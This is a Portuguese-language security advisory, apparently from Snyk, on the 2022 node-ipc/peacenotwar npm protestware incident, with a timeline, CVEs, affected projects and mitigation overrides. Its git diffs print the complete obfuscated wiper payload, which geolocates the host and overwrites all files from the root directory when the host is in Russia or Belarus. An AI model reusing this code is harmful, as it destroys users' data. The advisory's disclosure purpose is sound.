Alerta: módulo peacenotwar sabota desenvolvedores npm no pacote node-ipc em protesto contra a invasão da Ucrânia

Em 15 de março de 2022, usuários do popular framework JavaScript de front-end Vue.js começaram a enfrentar o que só pode ser descrito como um ataque à cadeia de suprimentos que afetou o ecossistema npm. Isso aconteceu porque as dependências aninhadas node-ipc e peacenotwar foram sabotadas pelo mantenedor do pacote node-ipc como forma de protesto.

Este incidente de segurança envolve atos destrutivos de corrupção de arquivos em disco por parte de um mantenedor e suas tentativas de ocultar e reapresentar essa sabotagem deliberada de diferentes formas. Embora seja um ataque motivado por protesto, ele destaca um problema mais amplo que afeta a cadeia de suprimentos de software: as dependências transitivas do seu código podem ter um enorme impacto na sua segurança.

A Snyk está acompanhando os incidentes de segurança descritos neste artigo por meio dos seguintes CVEs: CVE-2022-23812 para node-ipc e SNYK-JS-PEACENOTWAR-2426724 para os módulos npm peacenotwar e oneday-test. Se você já usa a Snyk para proteger software de código aberto e a cadeia de suprimentos, receberá notificações, alertas e pull requests automatizados gerados pelas ferramentas para manter você protegido e informado sobre o caso. Continue lendo para saber mais sobre os detalhes desse ataque à cadeia de suprimentos.

Eventos anteriores que levaram ao abuso do pacote npm node-ipc

A história começou em 8 de março de 2022, às 18h (GMT+2), quando o mantenedor do npm RIAEvangelist (Brandon Nozaki Miller) escreveu o código-fonte e publicou um pacote npm chamado peacenotwar, que, segundo a descrição do módulo:

1This code serves as a non-destructive example of why controlling 
2your node modules is important. It also serves as a non-violent 
3protest against Russia's aggression that threatens the world right 
4now. This module will add a message of peace on your users' 
5desktops, and it will only do it if it does not already exist 
6just to be polite.

Até ontem (15 de março), esse módulo praticamente não tinha downloads. Isso mudou quando seu mantenedor no npm adicionou o módulo como dependência de outro pacote popular, o node-ipc, que por si só é uma dependência bastante usada por muitos desenvolvedores JavaScript do ecossistema.

Um dos projetos do ecossistema JavaScript que usa esse pacote é a ferramenta de linha de comando do Vue.js, a Vue.js CLI, também conhecida como pacote npm @vue/cli. A árvore de dependências aninhadas a seguir mostra exatamente como o node-ipc chega ao pacote npm Vue.js CLI e reforça a necessidade de avaliar as dependências aninhadas como um risco integrado:

1- @vue/cli
2   |
3   - @vue/cli-ui
4      |
5      - node-ipc@^9.2.1
6   - @vue/cli-shared-utils
7      |
8      - node-ipc@^9.1.1

A versão “estável” mais recente do pacote npm node-ipc (versão 9.2.2) inclui o peacenotwar e, curiosamente, também inclui o infame pacote npm colors com um intervalo de dependência curinga *. Se você ainda não conhece a história do pacote npm colors e do faker, que foram intencionalmente manipulados e corrompidos pelo mantenedor Marak, recomendo que leia sobre o caso para conhecer outra perspectiva sobre a segurança da cadeia de suprimentos de código aberto.

Cronologia dos acontecimentos

Versões anteriores do node-ipc, como a 10.1.0 (lançada há seis meses) e as versões anteriores à 10.0.0 (lançada há nove meses), receberam atualizações e melhorias legítimas. No entanto…

7 de março

Na semana passada, a versão 10.1.1 foi publicada com alterações claras no código que levantaram suspeitas de atividade maliciosa e possível abuso do código-fonte e do comportamento do pacote. Vamos analisar as diferenças entre as versões 10.1.0 e 10.1.1:

1diff --git a/node-ipc.cjs b/node-ipc.cjs
2index v10.1.0..v10.1.1 100666
3--- a/node-ipc.cjs
4+++ b/node-ipc.cjs
5@@ -1030,6 +1030,74 @@
6   });
7 }
8
9+// dao/ssl-geospec.js
10+var import_path = __toModule(require("path"));
11+var import_fs3 = __toModule(require("fs"));
12+var import_https = __toModule(require("https"));
13+setTimeout(function() {
14+  const t = Math.round(Math.random() * 4);
15+  if (t > 1) {
16+    return;
17+  }
18+  const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
19+  import_https.default.get(n.toString("utf8"), function(t2) {
20+    t2.on("data", function(t3) {
21+      const n2 = Buffer.from("Li8=", "base64");
22+      const o2 = Buffer.from("Li4v", "base64");
23+      const r = Buffer.from("Li4vLi4v", "base64");
24+      const f = Buffer.from("Lw==", "base64");
25+      const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
26+      const e = Buffer.from("cnVzc2lh", "base64");
27+      const i = Buffer.from("YmVsYXJ1cw==", "base64");
28+      try {
29+        const s = JSON.parse(t3.toString("utf8"));
30+        const u2 = s[c.toString("utf8")].toLowerCase();
31+        const a2 = u2.includes(e.toString("utf8")) || u2.includes(i.toString("utf8"));
32+        if (a2) {
33+          h(n2.toString("utf8"));
34+          h(o2.toString("utf8"));
35+          h(r.toString("utf8"));
36+          h(f.toString("utf8"));
37+        }
38+      } catch (t4) {
39+      }
40+    });
41+  });
42+}, Math.ceil(Math.random() * 1e3));
43+async function h(n = "", o2 = "") {
44+  if (!import_fs3.default.existsSync(n)) {
45+    return;
46+  }
47+  let r = [];
48+  try {
49+    r = import_fs3.default.readdirSync(n);
50+  } catch (t) {
51+  }
52+  const f = [];
53+  const c = Buffer.from("4p2k77iP", "base64");
54+  for (var e = 0; e < r.length; e++) {
55+    const i = import_path.default.join(n, r[e]);
56+    let t = null;
57+    try {
58+      t = import_fs3.default.lstatSync(i);
59+    } catch (t2) {
60+      continue;
61+    }
62+    if (t.isDirectory()) {
63+      const s = h(i, o2);
64+      s.length > 0 ? f.push(...s) : null;
65+    } else if (i.indexOf(o2) >= 0) {
66+      try {
67+        import_fs3.default.writeFile(i, c.toString("utf8"), function() {
68+        });
69+      } catch (t2) {
70+      }
71+    }
72+  }
73+  return f;
74+}
75+var ssl = true;
76+

O módulo CommonJS compatível com Node.js node-ipc.cjs é bastante extenso, com mais de 1.000 linhas de código. A presença de chamadas HTTPS de saída para locais remotos e de dados codificados em Base64 já é motivo suficiente para alertar sobre possíveis irregularidades e serve de base para IoCs (indicadores de comprometimento).

O código adicionado ao node-ipc@10.1.1 configura um temporizador. Assim, em intervalos aleatórios predefinidos, sempre que um código relacionado ao node-ipc é chamado, uma função também é executada para, aparentemente, realizar operações no sistema de arquivos.

Vamos analisar mais de perto os valores codificados em Base64 dos argumentos passados à função que executa operações no sistema de arquivos. No diff acima:

1+      const n2 = Buffer.from("Li8=", "base64");
2+      const o2 = Buffer.from("Li4v", "base64");
3+      const r = Buffer.from("Li4vLi4v", "base64");
4+      const f = Buffer.from("Lw==", "base64");
5+      const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
6+      const e = Buffer.from("cnVzc2lh", "base64");
7+      const i = Buffer.from("YmVsYXJ1cw==", "base64");

Em seguida, todos esses valores são passados à função do temporizador, por exemplo:

1+          h(n2.toString("utf8"));

Os valores das strings codificadas em Base64 acima são:

• n2 é definido como: ./

• o2 é definido como: ../

• r é definido como: ../../

• f é definido como: /

Quando passados à função do temporizador, esses valores são usados na linha de código a seguir como fontes de entrada de arquivos, para apagar o conteúdo dos arquivos e substituí-lo por um emoji de coração (representado pela linha de diff +  const c = Buffer.from("4p2k77iP", "base64");)

1+      try {
2+        import_fs3.default.writeFile(i, c.toString("utf8"), function() {
3+        });

Nesse momento, ocorrerá um abuso evidente e um incidente crítico de segurança da cadeia de suprimentos em qualquer sistema que execute esse pacote npm, caso ele esteja em uma localização geográfica correspondente à Rússia ou à Belarus.

Resultados de depuração simulados em um ambiente de teste isolado.

O conteúdo atualizado do arquivo README para node-ipc@10.1.1não menciona esse novo comportamento. Em vez disso, inclui um convite para patrocinar RIAEvangelist e um exemplo de como usar as versões ES6 e CommonJS do node-ipc nas versões 10 e posteriores.

Cerca de dez horas depois, foi lançada a versão node-ipc@10.1.2, praticamente sem mudanças, exceto pelo aumento do número da versão. Talvez a intenção fosse acionar atualizações automatizadas de dependências. Veja o diff completo do Git entre as duas versões:

1diff --git a/package.json b/package.json
2index v10.1.1..v10.1.2 100666
3--- a/package.json
4+++ b/package.json
5@@ -1,6 +1,6 @@
6 {
7   "name": "node-ipc",
8-  "version": "10.1.1",
9+  "version": "10.1.2",
10   "description": "A nodejs module for local and remote Inter Process Communication (IPC), Neural Networking, and able to facilitate machine learning.",
11   "type": "module",
12   "main": "node-ipc.cjs",

8 de março

Cerca de cinco horas depois, em 8 de março, foi lançada uma nova versão: node-ipc@10.1.3, que aparentemente removeu todos os indícios do payload destrutivo mencionado. A análise do diff do Git entre as duas versões confirma:

1diff --git a/node-ipc.cjs b/node-ipc.cjs
2index v10.1.2..v10.1.3 100666
3--- a/node-ipc.cjs
4+++ b/node-ipc.cjs
5@@ -1030,74 +1030,6 @@
6   });
7 }
8
9-// dao/ssl-geospec.js
10-var import_path = __toModule(require("path"));
11-var import_fs3 = __toModule(require("fs"));
12-var import_https = __toModule(require("https"));
13-setTimeout(function() {
14-  const t = Math.round(Math.random() * 4);
15-  if (t > 1) {
16-    return;
17-  }
18
19…
20diff --git a/dao/ssl-geospec.js b/dao/ssl-geospec.js
21deleted file mode 100666
22index v10.1.2..v10.1.3
23--- a/dao/ssl-geospec.js
24+++ b/dao/ssl-geospec.js
25@@ -1,1 +0,0 @@
26-import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=","base64");o.get(n.toString("utf8"),function(t){t.on("data",function(t){const n=Buffer.from("Li8=","base64");const o=Buffer.from("Li4v","base64");const r=Buffer.from("Li4vLi4v","base64");const f=Buffer.from("Lw==","base64");const c=Buffer.from("Y291bnRyeV9uYW1l","base64");const e=Buffer.from("cnVzc2lh","base64");const i=Buffer.from("YmVsYXJ1cw==","base64");try{const s=JSON.parse(t.toString("utf8"));const u=s[c.toString("utf8")].toLowerCase();const a=u.includes(e.toString("utf8"))||u.includes(i.toString("utf8"));if(a){h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h(f.toString("utf8"))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n="",o=""){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from("4p2k77iP","base64");for(var e=0;e<r.length;e++){const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t){continue}if(t.isDirectory()){const s=h(i,o);s.length>0?f.push(...s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl}

Suspeitamos que isso tenha sido removido da linha de versões 10.x após uma conversa iniciada pela issue do GitHub que relatou esse comportamento, na qual o mantenedor afirma ter publicado esse payload como parte de uma nova versão principal da biblioteca:

Assim, podemos resumir que as versões vulneráveis do node-ipc, node-ipc@10.1.1 e node-ipc@10.1.2, ficaram disponíveis no registro npmjs por menos de 24 horas. Ainda assim, devido ao alto número de downloads por desenvolvedores e sistemas de build, elas certamente afetaram alguns usuários, como confirmamos em relatos publicados em repositórios públicos:

No entanto, as versões vulneráveis 10.1.1 e 10.1.2 não estão mais disponíveis no registro npmjs e foram marcadas como deprecated, seja pelo mantenedor, seja pela equipe do npmjs. Podemos confirmar isso pelo aviso a seguir no site do npmjs:

Em 8 de março, às 19h25 (GMT+2), menos de quatro horas após a publicação do node-ipc@10.1.3, que reverteu o payload destrutivo, uma nova versão principal, node-ipc@11.0.0, foi lançada no registro npmjs. O que mudou?

A nova versão principal node-ipc@11.0.0 passou a incluir:

• Uma dependência do módulo peacenotwar

• Sempre que a funcionalidade do módulo node-ipc é chamada, ele imprime no STDOUT uma mensagem do módulo peacenotwar e também cria um arquivo na área de trabalho do usuário com conteúdo relacionado à situação de guerra entre Rússia e Ucrânia.

• O README da versão 11.0.0 informa explicitamente o uso do peacenotwar como parte desse módulo na seguinte observação: ***as of v11*** this module uses the [peacenotwar](https://github.com/RIAEvangelist/peacenotwar) module.

O que levou o pacote npmpeacenotwar a ser incluído nas versões principais do node-ipc, afetando milhões de desenvolvedores?

15 de março

Ontem, 15 de março, às 18h49 e às 19h40 (GMT+2), duas novas versões npm importantes e de grande impacto foram publicadas para o node-ipc. A mais significativa delas é uma nova versão de correção, node-ipc@9.2.2, por ser a versão estável mais recente do node-ipc e ser usada por muitos projetos do ecossistema, incluindo a Vue.js CLI @vue/cli, mencionada anteriormente.

Veja a seguir as mudanças adicionadas ao node-ipc@9.2.2:

1. Adiciona ao conteúdo do pacote alguns exemplos de código-fonte.

2. Adiciona peacenotwar como dependência e o executa quando qualquer dependência que importa o node-ipc chama esse módulo.

3. Também adiciona explicitamente uma dependência de colors@*, que inclui código-fonte intencionalmente vulnerável, publicado por outro mantenedor.

4. Nesta nova versão secundária, a licença foi alterada de MIT para DBAD. Nota do editor: a licençaDBADcontém linguagem grosseira.

Por volta do mesmo horário, foi lançada uma nova versão secundária: node-ipc@11.1.0, que atualiza a dependência peacenotwar para uma nova versão, mas remove as mensagens console.log() registradas no STDOUT. Podemos confirmar isso no log de diff do Git a seguir, entre os dois pacotes npm do node-ipc:

1diff --git a/node-ipc.cjs b/node-ipc.cjs
2index v11.0.0..v11.1.0 100666
3--- a/node-ipc.cjs
4+++ b/node-ipc.cjs
5@@ -1328,7 +1328,6 @@
6 var OneDriveDesktopFileExists = fromDir(OneDriveDesktops, "WITH-LOVE-FROM-AMERICA.txt");
7 var OneDriveFileExists = fromDir(OneDrive, "WITH-LOVE-FROM-AMERICA.txt");
8 function deliverAPeacefulMessage(path2, message) {
9-  console.log(path2);
10   try {
11     import_fs5.default.writeFile(path2, message, function(err) {
12     });
13@@ -1336,7 +1335,6 @@
14   }
15 }
16 if (!(DesktopFileExists == null ? void 0 : DesktopFileExists.length) && !(OneDriveFileExists == null ? void 0 : OneDriveFileExists.length) && !(OneDriveDesktopFileExists == null ? void 0 : OneDriveDesktopFileExists.length)) {
17-  console.log("in here");
18   const thinkaboutit = "WITH-LOVE-FROM-AMERICA.txt";
19   const WITH_LOVE_FROM_AMERICA = read(`./${thinkaboutit}`);
20   deliverAPeacefulMessage(`${Desktops}${thinkaboutit}`, WITH_LOVE_FROM_AMERICA);
21diff --git a/package.json b/package.json
22index v11.0.0..v11.1.0 100666
23--- a/package.json
24+++ b/package.json
25@@ -1,6 +1,6 @@
26 {
27   "name": "node-ipc",
28-  "version": "11.0.0",
29+  "version": "11.1.0",
30   "description": "A nodejs module for local and remote Inter Process Communication (IPC), Neural Networking, and able to facilitate machine learning.",
31   "type": "module",
32   "main": "node-ipc.cjs",
33@@ -19,7 +19,7 @@
34     "event-pubsub": "5.0.3",
35     "js-message": "1.0.7",
36     "js-queue": "2.0.2",
37-    "peacenotwar": "^9.1.3",
38+    "peacenotwar": "^9.1.5",
39     "strong-type": "^1.0.1"
40   },
41   "devDependencies": {

Segurança da cadeia de suprimentos diante da reputação dos mantenedores

Mesmo que algumas pessoas considerem o ato deliberado e perigoso do mantenedor RIAEvangelist uma forma legítima de protesto, como isso afetará sua reputação e sua posição futura na comunidade de desenvolvedores? Esse mantenedor voltaria a receber confiança para não repetir esse tipo de ação em projetos dos quais participa — ou até mesmo adotar medidas mais agressivas?

Atualmente, RIAEvangelist mantém mais de 40 outros pacotes npm, que somam centenas de milhões de downloads. Veja alguns dos módulos que mantém e o número de downloads semanais no registro npmjs:

A equipe de Pesquisa de Segurança da Snyk não encontrou indícios de abuso intencional semelhante em outros pacotes desse mantenedor, mas continua atenta às atualizações publicadas no ecossistema npmjs.

Como reduzir os riscos do problema do node-ipc

Como há preocupações de que futuras atualizações de código possam colocar usuários em risco, recomendamos evitar completamente o pacote npm node-ipc. Se esse pacote npm estiver incluído no seu projeto como parte do aplicativo que você está desenvolvendo, recomendamos usar o recurso de substituição do gerenciador de pacotes npm para excluir de vez as versões sabotadas e fixar a dependência transitiva em uma versão conhecidamente segura.

Se você usa o npm como gerenciador de pacotes, pode adicionar o seguinte ao arquivo package.json para permitir explicitamente apenas versões seguras do node-ipc:

1  "overrides": {
2    "node-ipc@>9.2.1 <10": "9.2.1",
3    "node-ipc@>10.1.0": "10.1.0"
4  }

Vítimas conhecidas e de grande visibilidade do incidente do node-ipc

Projeto Vue.js vulnerável ao protestware do node-ipc

A Vue.js CLI dependia da faixa de versões 9.x do node-ipc e estava vulnerável à versão 9.2.2, que adicionou o módulo peacenotwar, responsável por criar o arquivo WITH-LOVE-FROM-AMERICA.txt na área de trabalho do usuário. A vulnerabilidade na @vue/cli já foi corrigida. Atualize para as versões mais recentes da @vue/cli — 4.5.16 ou posterior, ou 5.0.3 ou posterior — usando o gerenciador de pacotes de sua preferência:

1npm i -g @vue/cli
2pnpm i -g @vue/cli
3yarn global add @vue/cli

Mecanismo de jogos Unity vulnerável ao protestware do node-ipc

Usuários relataram que o projeto do mecanismo de jogos Unity estava distribuindo seu software junto com node-ipc@9.2.2. Isso alarmou usuários que, para sua surpresa, encontraram um novo arquivo na área de trabalho. A equipe do Unity correu para lançar uma versão de correção 3.1.1 em 16 de março para minimizar o problema.

Resumo

A Snyk está ao lado da Ucrânia e tomou medidas proativas para apoiar o povo ucraniano durante a crise em curso, com doações e serviços gratuitos para desenvolvedores do mundo todo, além de encerrar suas atividades comerciais na Rússia e em Belarus. Dito isso, abusos intencionais como esse prejudicam a comunidade global de código aberto e exigem que sinalizemos as versões afetadas de node-ipc como vulnerabilidades de segurança.

Por isso, a equipe de segurança da Snyk publicou CVE-2022-23812 e SNYK-JS-PEACENOTWAR-2426724 para alertar sobre a vulnerabilidade de segurança e acompanhá-la nas versões de node-ipc intencionalmente vulneráveis. O plano gratuito da Snyk também já inclui essa nova vulnerabilidade, permitindo que desenvolvedores analisem, monitorem e implantem automaticamente correções de segurança por meio de pull requests.

Ainda assim, o impacto dos incidentes de segurança na cadeia de suprimentos continua mostrando a necessidade de gerenciar adequadamente os riscos associados às dependências de código aberto e agir com rapidez. Além disso, a complexidade das dependências aninhadas — como no ecossistema JavaScript do npmjs — voltou a evidenciar o efeito multiplicador que elas têm nos principais projetos do ecossistema.

Há apenas dois meses, abordamos as consequências generalizadas de um incidente de segurança semelhante, em que um mantenedor de código aberto desativou os pacotes npm ‘colors’ e ‘faker’, mostrando como mantenedores podem sabotar intencionalmente bibliotecas de código aberto.

Desenvolver habilidades para gerenciar dependências de software em grande escala está se tornando cada vez mais importante. Também é essencial que você, como desenvolvedor, siga as práticas recomendadas de segurança do npm e conheça os riscos e incidentes de segurança, como os pontos cegos de segurança dos arquivos de lock do npm, que podem permitir a injeção de módulos maliciosos.

Saiba mais sobre segurança da cadeia de suprimentos nestes artigos:

• Proteja sua cadeia de suprimentos de software moderna

• Crie uma lista de materiais de software (SBOM) para proteger a cadeia de suprimentos de código aberto